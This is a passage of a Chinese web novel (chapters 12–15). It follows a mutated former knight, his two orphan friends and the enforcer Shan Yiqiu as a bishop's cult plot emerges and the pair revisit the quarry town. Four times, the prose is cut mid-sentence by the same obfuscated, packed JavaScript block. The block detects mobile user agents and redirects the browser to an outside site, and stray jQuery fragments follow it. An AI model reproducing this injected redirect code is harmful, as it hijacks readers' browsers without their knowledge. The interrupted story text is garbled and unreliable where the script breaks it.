门被轻轻带上,房间里重归寂静。
谢寒声独自躺在床上,对着空荡冰冷的天花板,努力消化着刚才那段信息量巨大却又云山雾罩的对话。
身体的疼痛在意识彻底清醒后更加鲜明,尤其是后颈被钉子贯穿的地方,以及……脖子上。
后颈疼可以理解,但脖子又是怎么回事?
他迟缓地抬手,摸向自己的颈侧。触手是皮肤特有的温热,以及鳞片坚硬冰凉的质感。
然而,在那一片细密排列的暗色鳞甲中,谢寒声摸到了一处明显的空缺。指尖传来的触感不太平整,边缘似乎还残留着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228786|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一点黏腻。
是血。
他心头一跳,忍着全身的酸痛,艰难地撑起身体。
房间角落的矮柜上方嵌着一面打磨光亮的镜子。谢寒声踉跄着走过去,扶着冰冷的墙壁,看向镜中。
镜子映出一张苍白憔悴、带着伤痕的脸,而在脸的下方,颈侧那里,原本最中央、颜色最深、质地也最坚硬的一枚鳞片,莫名消失了。
原先一片暗沉的鳞甲里出现一个新鲜的血痂,残缺异常鲜明。
谢寒声怔怔地看着那个空缺,脑海中不受控制地回响起单议秋刚才的话,和缠绕在对方脖颈上的纱布。
他自以为昏迷的时候,都干了些什么?
单议秋脖子上的伤是他弄出来的?
那鳞片又是怎么回事?
早在牢房的时候,谢寒声自己就测试过,他身上的鳞片非常坚硬,人是咬不下来的,除非……
谢寒声猛地闭上眼,用力甩头,将各种疯狂的猜测强行压了下去。
就在这时,房门被轻轻推开,两道身影一前一后走进来。
看清那两人的瞬间,谢寒声愣住了。
“莉亚?凯文?”
莉亚脚步还有些迟疑,听见谢寒声喊自己的名字,先是一顿,随即眼眶迅速红了,嘴唇紧紧抿着,强忍着没有出声。
而跟在她后面的凯文就没有那么淡定了,一见到谢寒声四肢完全还能说话,眼圈马上就红了,喉结上下滚动,眼看着就要掉下泪来。
从两个月前得知谢寒声出事、被带走,到后来石沉大海般的绝望,他们四处奔走,碰了无数钉子,见了无数冷眼,内心其实早已做好了最坏的打算。那些奔波与其说是怀有希望,不如说是不甘心的垂死挣扎。
他们怎么也没想到,事情竟然真的会出现转机,他们还能再见到谢寒声。
凯文这一哭,莉亚也忍不住打了个哆嗦,别开脸,抬手飞快抹了一下眼角。
看见他俩这副样子,谢寒声心头那点因为自身异状和单议秋话语带来的烦乱,立刻被一股无奈取代。
他叹了口气,声音因为干涩和疼痛而有些低哑:“……行了,别哭了。这不还没死吗?”
听见他开口说话,语气还是记忆里那种带着点不耐的熟悉调子,凯文和莉亚猛地抬头,对视一眼。
像是要确认什么,两人并排着,小心翼翼地往前挪了两步,停在和谢寒声隔了几米的距离。
凯文吸了吸鼻子,小问道:“哥,你想不想咬我?”
莉亚紧接着,声音紧绷,眼神里带着豁出去的决绝:“或者……想不想拧断我的脖子?”
谢寒声被这俩莫名其妙的问题问得一怔,随即脸色沉了下去:“我现在就想把你俩从窗户扔出去。”
这话一出口,凯文和莉亚非但没怕,反而同时长长地松了一口气,肩膀都垮了下来。凯文甚至破涕为笑,用袖子胡乱擦着脸:“没事了没事了……能这么骂人,肯定没事了……”
莉亚也终于不再强忍,眼泪掉了下来,但脸上却露出了这两个月来第一个真正如释重负的表情。
12. 谢团长
凯文和莉亚小心翼翼地绕到床边,搬过椅子坐下,整个过程中,眼睛就没离开过谢寒声的脸。
看着他俩那副想靠近又不敢完全放松的模样,谢寒声心里转过一个念头。
“你俩,”他的声音依旧沙哑,但比刚才好多了,“去找单议秋了?”
两人对视一眼,点了点头,都有些心虚。
凯文搓了搓手指:“哥,我们……实在是没别的路走了。想着死马当活马医,就去试着问了问。没想到……”
他们来之前,已经从心里预演过无数遍最坏的场面:谢寒声或许已经不成人形,或许彻底疯狂,或许早就无声无息地被净化。
可当他们真的再次见到单议秋,对方只是平静地听完他们语无伦次的恳求和担忧,然后就把他们带到了这里。
这和想象中任何一种惨状都不同。
没有镣铐,没有折磨的痕迹,人虽然苍白虚弱,颈侧还多了片诡异的鳞甲和一处新鲜伤痕,但眼神是清明的,说话的语气也还是他们熟悉的那个谢寒声。
单议秋没骗他们,至少看起来,他真的没有对谢寒声怎么样。
“当初我被带走前,”谢寒声闭了闭眼,声音更低,“是不是托人给你们传过话?”
莉亚连忙点头,眼眶又红了:“你让我们不要乱动,认命就行。还说……如果实在不认命,也别去找单议秋执法官。”她顿了顿,声音带着困惑和后怕,“可我们当时……已经试遍了所有能找的人了。”
谢寒声扯了扯嘴角,牵动颈侧的伤,带来一阵刺痛:“怕你们被他卖了。”
“哥!”凯文忍不住反驳,语气里带着年轻人特有的对好人的坚信,“执法官大人不是那样的人!他肯见我们,还让我们来看你……你不知道,我们去执法局的时候,心里多没底,可他态度一直挺好的。”
莉亚也在旁边附和,也许是在修道院待久了,说话不自觉带上了点嬷嬷们劝人向善絮絮叨叨的调子。
“是啊,谢哥,我们不能用偏见看人。执法官阁下他……他问得很仔细,也没有敷衍我们,最后还亲自安排人带我们过来。他是个好人,他……”
谢寒声表面上听着,眼睛也看着他们,可那些话流进耳朵里,就像水淌过光滑的石头,这边进去,那边就出去了,没留下什么痕迹。
他的思绪飘忽着,眼前冷不丁闪过一片破碎的画面——
极其白皙的皮肤在指腹下被迫泛出不正常的红,一只微凉的手幽灵般擦过他腰侧的鳞片,触感让人心头跟着哆嗦一下,接着就是席卷而来的剧痛,和沉入黑暗前最后看到的那双眼睛……
“谢寒声,看着我。”
是单议秋的声音。
是昨晚的记忆。
“……哥,你别怨我们,”凯文见他没反应,以为他生气了,声音低了下去,“我俩真的走投无路了。连希顿主教身边的人都认得我们这张脸了,一见我们就摆手。”
谢寒声被他这句话拽回神,咳嗽了一声,喉咙干得发痒:“什么都不要了?”
两人愣了一下。
随即,莉亚先用力摇头,凯文也跟着说,语气是前所未有的认真:“哥,在我们眼里,你从来就不是怪物,你是谢寒声。你对我们怎么样,我们心里清楚。为你做什么都是值得的。”
他们俩都是孤儿,谢寒声比他们大几岁,小时候在街头巷尾挣扎,一直是谢寒声护着他们。
后来谢寒声进了骑士团,即便有了微薄的薪俸和固定的住处,也没忘记他们,每个月都会挤出一点钱和食物托人捎来,直到他们各自能勉强谋生。
随着谢寒声在骑士团的位置越来越高,事务繁忙,他们也渐渐有了自己的生活,联系才慢慢少了,但那点情分,始终是刻在骨头里的。
莉亚擦了擦眼角,又问:“那接下来你打算怎么办?执法官阁下有没有说他的计划?……”
怎么办?
还能怎么办?
后颈和脖子上的疼痛无时无刻不在提醒谢寒声目前的处境。他觉得自己肯定是疯了,才会在失去理智的时候,高高兴兴地抠下鳞片塞给单议秋。
他脑子不清醒,单议秋也未必什么都清楚,他俩都是站在一圈看不真切的迷雾中间,随时都有可能撞个头破血流。
这些话,他半个字也不能对弟弟妹妹说。
“……随便吧,”他移开视线,暂时放弃挣扎,“走一步,看一步。”
这显而易见的消沉让凯文和莉亚都沉默了。
异变这件事对谢寒声的打击,远比他们看到的想象的都要深重。
外面所有人都说,异变是因为内心有隙,是因为不够虔诚,是因为怀有恶意。谢寒声嘴上不认,心里却不可能完全不往自己身上想。过去二十几年一直坚守的信仰,被现实砸出了一道深深的裂痕。
但这些翻涌的困惑、痛苦和自我怀疑,他不能说。凯文还在骑士团,莉亚还在修道院,他们的生活和未来还系在圣庭这棵大树上。
他不能把自己的动摇和绝望传染给他们,那是对他们的不负责任。
短暂的沉默后,莉亚往前倾了倾身体,问出了那个盘旋在所有人心头、谁都不敢先碰的问题:“哥,那天晚上,到底发生了什么?”
……
楼下,单议秋并没有离开。
他站在一扇窄窗边,望着外面灰蒙蒙的天色,手里端着一杯早已凉透的咖啡。
凯文和莉亚从楼梯上下来,看见他,两人都愣了一下,随即轻声问好。
“他说了吗?”单议秋转过身,语气平静。
莉亚点了点头。
“讲吧。”
单议秋将咖啡杯放在窗台上,双手交握,做出倾听的姿态。
但莉亚在开口前,犹豫了一下,还是问了出来:“执法官大人,您为什么不亲自去问呢?”
单议秋看了她一眼。
“他未必会告诉我实话,”他回答得很直接,有些过于坦诚了,“但如果是你们问,他会说。至少会说一部分。这也是我让你们来见他的原因之一。”
闻言,莉亚眨了眨眼,手指无意识地绞紧了修道院袍服的袖子:“阁下真是洞悉人心。”
“我不懂人心,”单议秋轻轻摇头,“我只是对谢寒声这个人稍微有一点了解。”
这话听起来像是普通的自谦,但细细琢磨就会发现大有深意。
莉亚眼神闪烁了一下,没敢再问,开始复述谢寒声刚才的话。
“……差不多是这样,谢哥只告诉了我这些。”
等她说完,单议秋沉默了片刻,指尖在窗台光滑的木面上敲了敲。
“所以,出事地点是在那个采石小镇。”
“是的,”莉亚点头,“谢哥说,出事之后,他甚至没来得及发出完整的警报,骑士团的人就已经到了现场。他觉得……有点奇怪。”
“是有点奇怪。”单议秋随口应道,心里已经转过了好几个念头。
按照谢寒声的讲述,骑士团到的太快了,快得不合常理。
除非有人早就知道会在那里发生什么。
他没把这些猜测说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228787|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出口,只是对莉亚和凯文点了点头:“今天辛苦你们了。先回去吧,这里暂时很安全。”
两人都没有反驳,知道留下也帮不上更多忙。
凯文对单议秋行了个礼,莉亚也微微屈膝。只是在转身离开前,莉亚又停下了脚步,回过头,像是鼓足了勇气,微微踮起脚尖,手指隔着一段距离,虚虚点了点单议秋的肩膀。
“阁下,”她声音很轻,“您肩膀上……沾了点灰尘。”
单议秋闻言下意识地低头,顺手拍了拍肩膀。布料挺括,其实没有什么灰尘。
莉亚看着他做完这个动作,才继续说,眼神清澈而坚定:“阁下,您是个好人。您善良,慈悲,神明会保佑您的。”
年轻的修女还相信着神明的公义,相信着善恶有报,相信无论黑夜多么漫长,光明最终会公平地降临在每个人身上。
单议秋抬起眼,迎上她那双写满信任和祈愿的眼睛,沉默了片刻。他脸上的温和神色似乎有那么一瞬间的凝滞,但很快又恢复了自然。
“如果我一直如此,”他忽然开口,认真询问道,“神明就会让我得到我想要的东西吗?”
莉亚没料到他会这么问,眨眨眼,随后用力点头,语气无比肯定:“神明的判断是最公正的。我会一直为您祈祷的,阁下。”
单议秋向她表达了感谢。
莉亚和凯文这才真正转身离开,脚步声渐渐消失在走廊尽头。
单议秋又在窗边站了一会儿,才端起那杯凉透的咖啡,将剩余的液体一饮而尽。
他放下杯子,转身朝楼上走去。
推开那扇简朴的房门时,谢寒声正盘腿坐在床上,背对着门口,望着那扇高高的窄窗。
听到声音,他没有回头,直接问道:“他们告诉你了?”
“嗯。”
单议秋反手带上门。
他走到床边,停在与谢寒声面前。“早就猜到了是我让他们问的?”
谢寒声:“除了你,还有谁会对两个月前那点破事这么感兴趣。”
“知道是我指使,你还是说了,”单议秋又向前一步,“我现在开始考虑你有没有全部说实话。”
他靠的太近了,近到谢寒声能闻到单议秋身上混着药气的味道。
这人脑子里好缺了根弦,完全不知道离一个能徒手拧断人脖子的怪物远一点。要么就是他太过自信,笃定了谢寒声不会伤害他。
谢寒声保持着盘坐的姿势,目光从窗外收回,转而望向前方,那里恰好是单议秋腰腹的位置。
制服布料妥帖地包裹着精瘦的腰身,勾勒出利落的线条。
“我说的都是实话。”他肯定道。
“那太好了,”单议秋点点头,欣然接受了这个说法,“我现在最不想听到的就是谎言。”
看来是真累坏了,连平日里那些迂回婉转的措辞都懒得用。
盯着眼前的腰身,谢寒声脑海中再次闪过昨夜的记忆片段。
鬼使神差地,他抬起手,掌心带着体温,隔着一层不算厚的黑色衣料,实实在在地搭在了单议秋的腰侧,手指无意识收拢,握住了那截柔韧而劲瘦的弧度。
腰肢上那一小块区域的肌肉,在他手掌贴上的瞬间,几不可察地僵硬了一瞬。
头顶上方,单议秋原本平稳的呼吸和未竟的话语也同时顿住。
半秒的沉寂,空气仿佛凝滞。
然后,单议秋的声音慢悠悠地响起,含着点笑,气息拂过谢寒声的发顶。
“谢团长,”他问,“你在摸哪里?”
13. 阴谋
听见他问,谢寒声猛地从回忆中挣脱出来,像是被烫到一样迅速把手收了回去,从脖子到脸颊瞬间涨得通红,连颈侧那些鳞片周围的皮肤,都透出一层淡淡的粉色。
单议秋觉得这反应特别有意思。
他没退开,反而又伸出手,指尖触碰着谢寒声颈侧那片发红的皮肤,很体贴地避开了鳞片中央那处还没愈合的伤口边缘。
“谢团长——啊,不对,现在该叫谢前团长了,”他声音里有没藏好的笑意,“管好自己的手,可以吗?外面已经流言纷纷了。”
闻言,谢寒声的手指颤了一下。
他抬起眼:“什么流言?”
单议秋终于向后退开些距离,坐回到床边的椅子上,放松地翘起腿。
“传什么的都有。有说咱俩之前就有勾扯的,”他老神在在地说,坦然地迎上谢寒声的视线,“也有说是我单方面喜欢你,现在才这么大方奉献。”
圣庭里私下都未必敢轻易议论的话,就这样被他轻描淡写、坦坦荡荡地说了出来。
谢寒声觉得头又开始疼,他再一次清晰地意识到,眼前这个被众人称颂温和有礼的执法官,骨子里其实离经叛道。
明明刚才还摸人家的腰,仿佛很喜欢的模样,此刻,谢寒声心头却窜起一股混杂着羞恼和更深困惑的情绪。
“……你难道就不怕吗?”他问。
单议秋挑眉:“怕什么?”
谢寒声给不出一个具体的词,只能含糊地比了个手势,试图让对方明白——那些越界的流言,那些暧昧的揣测,还有圣庭随之将会给予的压力。
他和单议秋素昧平生,有关系也是消极关系,单议秋怎么会愿意为他这样冒险?
他的手势,单议秋看懂了。
“我不怕,”他回答干脆,“因为我知道那些不是真的。”
他身体微微前倾,目光锁住谢寒声,“而且,现在这里只有我们两个人。如果这些话有一天传出去了……”
他故意停顿,看着谢寒声的眼睛,一字一顿:“谢寒声,那只能是你的错。”
“你是告密者吗?”
谢寒声:“……”
他被这逻辑堵得一时说不出话,只能瞪着他。
单议秋看着他这副难得吃瘪又无力反驳的样子,眼里的笑意更深了些,没再继续逼问,只是好整以暇地等着他的反应。
再一次被威胁,谢寒声都有点儿习惯了,没生气。
他的注意力更多落在了前半句话上。
“什么叫你知道不是真的?”他问,声音低下去。
“我不相信你异变,是因为你内心怀有他们所说的恶意,”单议秋的回答和之前几次没什么不同,已经开始不耐烦了,“这句话我已经说过很多遍了,谢团长。需要我刻在牌子上,挂到你面前吗?”
他是说过很多遍,但谢寒声从没真正信过,现在他也很难相信。
单议秋有太多张面孔,对着外界是一张,对着圣庭高层是一张,对着此刻的他又是一张。
谢寒声分不清哪一张下面藏着所谓的真实。
沉默了很久之后,他才再次开口,声音沙哑:“莉亚和凯文的事,谢谢你。他们不是太聪明,给你添麻烦了。”
“不用谢,”单议秋实话实说,接受了话题的突然转变,“你也没有很聪明。”
聪明的人不会落到今天这个境地。
谢寒声再次陷入沉默,没有反驳单议秋对他的评价。
其实时至今日,他仍有太多事不明白,像站在一片漫无边际的浓雾里,前后看不清,左右也茫然。
外面有传言,单议秋的声音在回忆中响起,很近,说我单方面喜欢你。
谢寒声的身体又僵了一下。
以前他对单议秋的判断至少有一半是对的:这个人很危险,最好不要招惹。
纷杂的念头像冰冷的蛛丝,缠上来就不肯松。
谢寒声感到一阵细微的战栗从脊椎爬上来,让他有些喘不上气。
他用力闭了下眼睛,再睁开时,那些翻涌的思绪已经被强行压了下去。
不能这样想。至少现在不能。
“你接下来准备怎么办?”谢寒声问。
“我?”
单议秋的目光在他脸上逡巡片刻,语气变得有些难以捉摸:“我准备……带你出去避避风头。”
*
*
厚重的橡木门在身后合拢,隔绝了走廊里弥漫的古老熏香与隐约的诵唱声。
副团长深吸了一口气,压下心头残余的惊悸后,才迈步走进这间光线沉郁的办公室。
空气凝滞,弥漫着陈年羊皮卷、封蜡与熏香混合的气息。
四壁被深色胡桃木书架完全覆盖,直达雕花繁复的天花板,上面塞满了厚重典籍,书脊上的烫金标题在壁炉跳动的火焰映照下幽幽反光。
唯一的光源来自宽大书桌旁一座高大的银制烛台,以及壁炉内跃动的火光。
“主教,”佐文特在离书桌几步远的地方停下,右手抚胸,微微躬身,“您召见我?”
书桌后,莫尔斯主教放下了手中那本边缘已磨损的深红色皮质经书。
他年约五旬,颧骨偏高,深陷的眼窝里嵌着一双颜色极淡,接近银灰的眸子,看人时总带着一种穿透性的审视。稀疏的灰发整齐地梳向脑后,露出宽阔而布满细微纹路的前额。
“都处理干净了吗?”莫尔斯主教问,声音平直得像打磨光滑的石板。
佐文特喉结滚动了一下:“团里……知道些内情的人,都已经遣散,去了该去的地方。只是……那个采石镇……”
他停下讲述,一丝难以掩饰的恐惧攀上眉梢,让他迟迟无法将话说完。
莫尔斯主教缓缓站起身。
他身形瘦高,披着象征其地位的深紫色绣金边长袍,在昏暗光影中像一道移动的阴影。
他走到壁炉边,目光落在跳跃的火焰上。
“佐文特,你是在侍奉神,践行神的意志,”他道,“有什么值得恐惧?难道神会因你虔诚的奉献,而降下责罚吗?”
闻言,佐文特脸上的肌肉抽搐了几下,恐惧、犹豫、最终被一种扭曲的坚定取代。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228788|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他挺直背脊,沉声道:“您放心。我会做好的。”
汇报完此事,他像是卸下一部分重担,又想起另一件烦心事,补充道:“还有,执法团那边,单议秋前几天亲自去默间,把谢寒声提走了。您知道吗?”
“我怎么会不知道?”
莫尔斯主教转过身,眸子里掠过清晰的讥诮与冷意:“释放的公文,还是从我们亲爱的希顿主教那里签发的。一个自身难保、仰人鼻息的废物……”
他摆了摆手,仿佛拂去一只微不足道的飞虫。
“谢寒声不重要。他什么都不知道,现在更是一个被钉穿了脊梁的废人,”主教的声音压低,“眼下最重要的,是停下所有不必要的动作,集中力量,把那个采石场彻底清理干净。既然上次被意外打断,仪式未能完成,那么在吾神真正的力量降临此世之前,不要再有任何轻举妄动。隐匿,等待,清扫痕迹。明白吗?”
佐文特连忙低头应下:“是,我明白。”
当他再次抬起眼时,那双眼睛里已燃起一种近乎狂热的、摒弃了犹豫的光芒。
“若是等到吾神真正降临的那一日……”
莫尔斯主教的脸上,缓缓浮现出一丝与这庄严肃穆房间格格不入的、充满了奇异满足与期盼的笑容。
“若是等到那一日,”他接过了副团长未尽的话,“人世间的所有罪恶与不洁,都将被彻底荡涤。再无苦难,再无偏离正道的恶行。唯有永恒、纯净的秩序与安宁。”
佐文特深深低下头,狂热的光芒在他眼底沉淀为一种冰冷的笃定。“为了那一日的降临,任何代价都是值得的。”
莫尔斯主教微微颔首,银灰色的眼眸重新落回壁炉跃动的火焰上,好像已经透过火光,窥见了那个由绝对秩序与纯净统治的未来。
一时间,房间里只剩下木柴燃烧细微的噼啪声,和那份沉重得令人窒息的期盼。
……
天空是那种化不开的的铅灰色,低低地压下来,如同一块浸透了污水的厚重绒布,蒙住了整个世界。
风吹过来,裹着采石场特有的尘霾味。
视野所及,几乎看不到什么鲜亮的色彩。小镇的建筑歪歪扭扭地趴伏在灰暗的天幕下,全是深浅不一的暗色。
一切都是灰扑扑的,了无生气,连远处山体裸露的岩层,也呈现出一种沉闷的铁灰色。
谢寒声站在小镇边缘一条覆满灰尘的小径上,拉低了兜帽的边缘,目光扫过这片死气沉沉的景象,最后停在远处那些早已废弃的矿坑轮廓上。
他藏在兜帽下的脸上没什么表情,只是唇线抿得有些紧。
“这就是,”他开口,声音透过布料显得有些闷,听不出具体情绪,“你要带我避风头的地方?”
单议秋就站在他身侧半步远的地方,同样简单的深色旅行装束。
他顺着谢寒声的视线望向小镇和矿坑,闻言侧过头,唇角勾起。
“不喜欢吗?”他故意问。
谢寒声觉得很荒谬,沉默了几秒,才从喉咙里挤出一点近乎气音的声音:“……到底什么人会喜欢自己出事的地方?”
14. 诈问
谢寒声的脸色值得一次无偿加班,单议秋满意地收回视线。
“9653,把这一带的地图调出来。”
早就认清现实,将全部通关希望都压在宿主身上的9653迅速执行命令,一张泛着浅蓝光晕的立体地形图在单议秋的视野角落展开。
单议秋在地图上快速扫过,同时状似随意地开口,问身旁的人:“你具体是在哪里出的事?小镇里面,还是靠近矿坑?”
谢寒声瞥了他一眼,兜帽下的侧脸线条绷着:“一个村民家的地窖。靠近西边废弃矿道入口的那片老房子。”
“哪户村民?”单议秋追问。
谢寒声沉默了片刻,手指无意识地蜷缩了一下。
“虽然我觉得你应该不至于,”他低声说,“但我还是要说,她们是无辜的。你不要……”
“不要伤害她?”
单议秋接过他的话,莫名笑了一声。
他转过头,兜帽下,那双棕褐色的眼睛望着谢寒声,好奇发问:“谢团长,在你眼里我到底是什么样的人?”
反正不是能让人安心的那种人。谢寒声在心里回答。
他甚至没意识到这个念头有多清晰,望着单议秋近在咫尺的脸,还有对方脖颈上那圈留着浅淡齿痕和些许结痂的皮肤,一股更深的警惕从谢寒声的心口涌上来。
你知道你这么为我打算有多吓人吗?他想问,但终究没问出口。
欠下的债总是要还的。单议秋现在为他做的每一件事,都在谢寒声看不见的天平另一端,不断增加着砝码。
哪怕最后事情不成,谢寒声也会欠下难以估量的人情。这些情,桩桩件件,沉甸甸地压着,根本不知道该如何偿还。
谢寒声很担心自己最后不得不把所有鳞片都扒下来,穿成链子送给人家玩,才能稍微抵偿一二。
这个过于具象又荒诞的画面让他自己都打了个寒颤。
“应该是靠近广场的一家,”谢寒声艰难回忆道,“门口插着两个褪色的浅黄色小旗子。”
他再次强调:“这事真跟她们没关系。至少现在没有。”
“你只跟莉亚讲了个大概,所以我也只知道大概,”单议秋说,“我认为现在是和盘托出的最佳时机,你觉得呢?”
闻言,谢寒声的思绪被拉回两个月前那个阴沉的下午。
他叹了口气,道:“我是偶然收到消息的,说附近有异常的黑暗气息聚集,规模不大,可能需要增援。”
谢寒声语速很慢,回忆着:“但等我到了以后,一圈查下来,没什么问题,反而听几个躲躲闪闪的镇民嘀咕,说广场边有户人家,男人常年打老婆孩子,那天动静尤其大。”
单议秋安静地听着,脚步与他保持一致,踩在灰扑扑的路上,只有细微的沙沙声。
“我就过去查看,走到那房子附近,确实听到里面有隐约的哭声,断断续续的。问旁边的邻居,邻居说那男人刚抄了根粗棍子出门,不知道去哪喝酒了,走前好像又把屋里人揍了一顿,”谢寒声的喉结滚动了一下,“我怕人出事,就没多想,直接踹开了门。”
屋里的景象比他预想的更糟。
一股霉味混合着血腥气扑面而来。客厅一片狼藉,地上有拖拽的血痕,通向角落一个通往地窖的木板门。
哭声从下面传来,细弱,绝望。
“我下了地窖,”谢寒声的声音更低了,快要融入四周的空气里,“找到了一个小女孩,缩在墙角,浑身是血,吓坏了。她母亲倒在旁边,已经半昏过去,身上……”
他没说完,但未尽的意味已经足够明显。
“我先把她母亲背了上去,放在门外能看见的地方,想着再下去把小女孩带上来,”说到这里,他的呼吸微不可察地急促了一瞬,“可等我再回到地窖口,发现那扇木门被人从外面锁死了。”
然后……
然后异变开始了。
谢寒声很难精确描述异变发生时的感觉。
像有一团火从内脏最深处烧起来,不是疼,而是灼烧一切的滚烫。头痛欲裂,眼前发黑,但身体里的力量却在不停地涌出来,膨胀失控。
一片慌乱的迷茫中,谢寒声看见了小女孩惊恐的眼神,也从小小的倒影里看见了自己长出鳞片的脖子。
单议秋一直安静地旁听,此刻才开口:“你当时是什么感觉?”
“我?”
谢寒声重复了一遍这个字眼,仿佛第一次思考这个问题。
他想了一会儿,才很轻地说:“我吓坏了,从没那么害怕过。”
他没想过自己会把这段最不堪最恐惧的经历告诉别人,尤其是单议秋。
但既然对方问了,也没有隐瞒的必要。
“之后呢?”单议秋饶有兴致地问,“你做了什么?”
他的目光落在谢寒声脸上,眼神很熟悉。
在监狱的栏杆后面,许多人曾这样注视过谢寒声,像观察一个异常样本。但奇怪的是,当单议秋这样看他时,谢寒声发现并没有预想中那么难以忍受。
“我把门砸烂了,”谢寒声回答,语气平淡得像在陈述别人的事,“门板只有我半个手掌厚,以前可能比较麻烦,但那时……很容易。”
他停顿了一下,“然后我把那个小姑娘抱了出去,送到了隔壁门口。”
把孩子安顿好后,谢寒声独自返回到地窖深处。
也许直到那一刻,他心底某个角落还怀着一丝侥幸,不愿相信自己真的变成了非人的怪物。
但随后赶来的骑士团,他们惊惧戒备的眼神,如临大敌的阵仗,以及毫不犹豫的控制和押送,彻底击碎了他最后那点自欺欺人的幻想。
之后的事,单议秋应该都从报告和审讯记录里知道了。
听完他平铺直叙的讲述,单议秋沉默了片刻。
灰暗的天光落在他侧脸上,让他的神色看起来难以捉摸。
“有件事,”他斟酌着开口,“我本来不打算现在告诉你。但既然已经到了这儿,大概也瞒不住了。”
谢寒声看向他,眉头微蹙:“怎么了?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228789|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你说地窖里当时有两个人,一个大人,一个小孩。母亲和女儿,对吗?”单议秋确认道。
谢寒声点头:“没错。”
“如果我告诉你,”单议秋的语调放得很缓,力图让每一个字都清晰,“我调阅的所有现场记录和后续医疗档案里,只提到救出了一个受伤的成年女性,根本没有关于小女孩的任何记载——你会是什么反应?”
谢寒声愣了一下,没立刻明白这句话的意思。
“……我当时神志是清醒的,”他下意识地反驳,语气肯定,“或许异变了,但我脑子没坏。绝对是一个女人,一个孩子。那小姑娘很瘦,穿着条破破烂烂的灰裙子——也可能是洗不干净了——身高大概到我腿这里,最多到我腰间。我不会记错。”
“如果我再告诉你,”单议秋没有理会他的辩解,继续说道,“根据当地的户籍和个人档案记录,那户人家根本没有任何关于孩子的登记信息。从来就没有过。你又会是什么反应?”
空气仿佛凝滞了,连远处矿坑吹来的、带着粉尘的微风都停了下来。
谢寒声张了张嘴,喉咙却像被什么东西哽住了。
他花了点时间才理解这段话背后的含义,一股寒意顺着脊椎爬上来。
“……你什么意思?”
他的声音终于响起,干涩得厉害。
单议秋终于转过头,直直地看过来。棕褐色的眼眸映出谢寒声此刻茫然又隐隐透着惊惧的脸,盛着近乎悲悯的情绪。
“我的意思是,”他缓慢地说,“从所有官方记录和书面证据来看,那户人家根本没有生养过孩子。”
谢寒声定定地看着他,兜帽下的脸血色一点点褪去。
“你觉得,”他听见自己的声音,飘忽而不确定,“是我疯了?还是……”他喉结艰难地滚动了一下,“我在为了推卸责任,或者逃避什么,而凭空编造了一个不存在的孩子出来?”
单议秋注视着他,没有立刻回答。
片刻后,他极轻地笑了一下,笑意转瞬即逝,却奇异地冲淡了眼中那点悲悯。
“谢寒声,”他说,语气温和又怜爱,“你根本不会撒谎。”
谢寒声感觉自己被小瞧了,迅速反驳:“我当然会说谎,这是什么很难的事情吗?”
单议秋盯着他,没有争辩,只是很好脾气地点点头,顺着他的话问:“好啊,那我问你一个问题。”
他停了半秒,像是随便回忆起一个无关紧要的细节,语气轻松:“三年前,圣庭夏季庆典后的那次大型聚会,你在宴会的后半段去了哪里?”
这个问题太过突兀,与之前的话题毫无关联。如果是旁人,或许会愣住,会迟疑,会反问,但谢寒声不会。
那个夜晚的每一个细节,连同之后数日盘旋不去的阴冷感觉,早就在他脑海中回放了无数遍。
所以他想也没想,条件反射般地脱口而出:“我去了后花园。”
话一出口,他就僵住了。
坏了。
被套话了。
15. 邀请
单议秋脸上的笑意加深了,他微微偏头,继续用那种闲聊般的口吻追问:“哦?你在后花园看到什么了吗?”
他知道了。
这个念头像冰锥一样刺进谢寒声的脑海。他感觉自己像只被当场抓住的猎物,嘴里磕巴起来:“没、没有!外面一片漆黑……我马上就回到宴会厅里面了。”
他试图让自己的声音听起来不耐烦:“你突然问这个干什么?莫名其妙!”
单议秋没有再追问,他静静地看着谢寒声瞬间僵硬的肩膀和过于急促的否认,然后很轻地笑了一声。
“看,”他说,“你根本不会撒谎。”
谢寒声:“……”
